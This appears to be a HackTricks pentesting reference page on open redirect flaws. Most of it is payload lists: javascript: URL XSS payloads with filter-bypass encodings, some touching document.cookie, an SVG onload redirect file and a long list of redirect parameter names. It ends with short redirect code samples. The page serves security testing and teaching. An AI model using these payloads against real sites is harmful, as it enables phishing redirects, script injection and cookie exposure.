HackTricks
Search…
🤩
Generic Methodologies & Resources
🐧
Linux Hardening
🍏
MacOS Hardening
🪟
Windows Hardening
📱
Mobile Pentesting
👽
Network Services Pentesting
🕸
Pentesting Web
⛈
Cloud Security
😎
Hardware/Physical Access
🦅
Reversing & Exploiting
🔮
Crypto & Stego
🧐
External Platforms Reviews/Writeups
✍
TODO
Open Redirect
Support HackTricks and get benefits!
Open redirect
Redirect to localhost or arbitrary domains
Open Redirect to XSS
1
#Basic payload, javascript code is executed after "javascript:"
2
javascript:alert(1)
3
4
#Bypass "javascript" word filter with CRLF
5
java%0d%0ascript%0d%0a:alert(0)
6
7
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
8
#This bypasses FILTER_VALIDATE_URL os PHP
9
javascript://%250Aalert(1)
10
11
#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
12
javascript://%250Aalert(1)//?1
13
javascript://%250A1?alert(1):0
14
15
#Others
16
%09Jav%09ascript:alert(document.domain)
17
javascript://%250Alert(document.location=document.cookie)
18
/%09/javascript:alert(1);
19
/%09/javascript:alert(1)
20
//%5cjavascript:alert(1);
21
//%5cjavascript:alert(1)
22
/%5cjavascript:alert(1);
23
/%5cjavascript:alert(1)
24
javascript://%0aalert(1)
25
<>javascript:alert(1);
26
//javascript:alert(1);
27
//javascript:alert(1)
28
/javascript:alert(1);
29
/javascript:alert(1)
30
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
31
javascript:alert(1);
32
javascript:alert(1)
33
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
34
javascript:confirm(1)
35
javascript://https://whitelisted.com/?z=%0Aalert(1)
36
javascript:prompt(1)
37
jaVAscript://whitelisted.com//%0d%0aalert(1);//
38
javascript://whitelisted.com?%a0alert%281%29
39
/x:1/:///%01javascript:alert(document.cookie)/
40
";alert(0);//
Copied!
Open Redirect uploading svg files
1
<code>
2
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
3
<svg
4
onload="window.location='http://www.example.com'"
5
xmlns="http://www.w3.org/2000/svg">
6
</svg>
7
</code>
Copied!
Common injection parameters
1
/{payload}
2
?next={payload}
3
?url={payload}
4
?target={payload}
5
?rurl={payload}
6
?dest={payload}
7
?destination={payload}
8
?redir={payload}
9
?redirect_uri={payload}
10
?redirect_url={payload}
11
?redirect={payload}
12
/redirect/{payload}
13
/cgi-bin/redirect.cgi?{payload}
14
/out/{payload}
15
/out?{payload}
16
?view={payload}
17
/login?to={payload}
18
?image_url={payload}
19
?go={payload}
20
?return={payload}
21
?returnTo={payload}
22
?return_to={payload}
23
?checkout_url={payload}
24
?continue={payload}
25
?return_path={payload}
26
success=https://c1h2e1.github.io
27
data=https://c1h2e1.github.io
28
qurl=https://c1h2e1.github.io
29
login=https://c1h2e1.github.io
30
logout=https://c1h2e1.github.io
31
ext=https://c1h2e1.github.io
32
clickurl=https://c1h2e1.github.io
33
goto=https://c1h2e1.github.io
34
rit_url=https://c1h2e1.github.io
35
forward_url=https://c1h2e1.github.io
36
@https://c1h2e1.github.io
37
forward=https://c1h2e1.github.io
38
pic=https://c1h2e1.github.io
39
callback_url=https://c1h2e1.github.io
40
jump=https://c1h2e1.github.io
41
jump_url=https://c1h2e1.github.io
42
click?u=https://c1h2e1.github.io
43
originUrl=https://c1h2e1.github.io
44
origin=https://c1h2e1.github.io
45
Url=https://c1h2e1.github.io
46
desturl=https://c1h2e1.github.io
47
u=https://c1h2e1.github.io
48
page=https://c1h2e1.github.io
49
u1=https://c1h2e1.github.io
50
action=https://c1h2e1.github.io
51
action_url=https://c1h2e1.github.io
52
Redirect=https://c1h2e1.github.io
53
sp_url=https://c1h2e1.github.io
54
service=https://c1h2e1.github.io
55
recurl=https://c1h2e1.github.io
56
j?url=https://c1h2e1.github.io
57
url=//https://c1h2e1.github.io
58
uri=https://c1h2e1.github.io
59
u=https://c1h2e1.github.io
60
allinurl:https://c1h2e1.github.io
61
q=https://c1h2e1.github.io
62
link=https://c1h2e1.github.io
63
src=https://c1h2e1.github.io
64
tc?src=https://c1h2e1.github.io
65
linkAddress=https://c1h2e1.github.io
66
location=https://c1h2e1.github.io
67
burl=https://c1h2e1.github.io
68
request=https://c1h2e1.github.io
69
backurl=https://c1h2e1.github.io
70
RedirectUrl=https://c1h2e1.github.io
71
Redirect=https://c1h2e1.github.io
72
ReturnUrl=https://c1h2e1.github.io
Copied!
Code examples
.Net
1
response.redirect("~/mysafe-subdomain/login.aspx")
Copied!
Java
1
response.redirect("http://mysafedomain.com");
Copied!
PHP
1
<?php
2
/* browser redirections*/
3
header("Location: http://mysafedomain.com");
4
exit;
5
?>
Copied!
Tools
Resources
Support HackTricks and get benefits!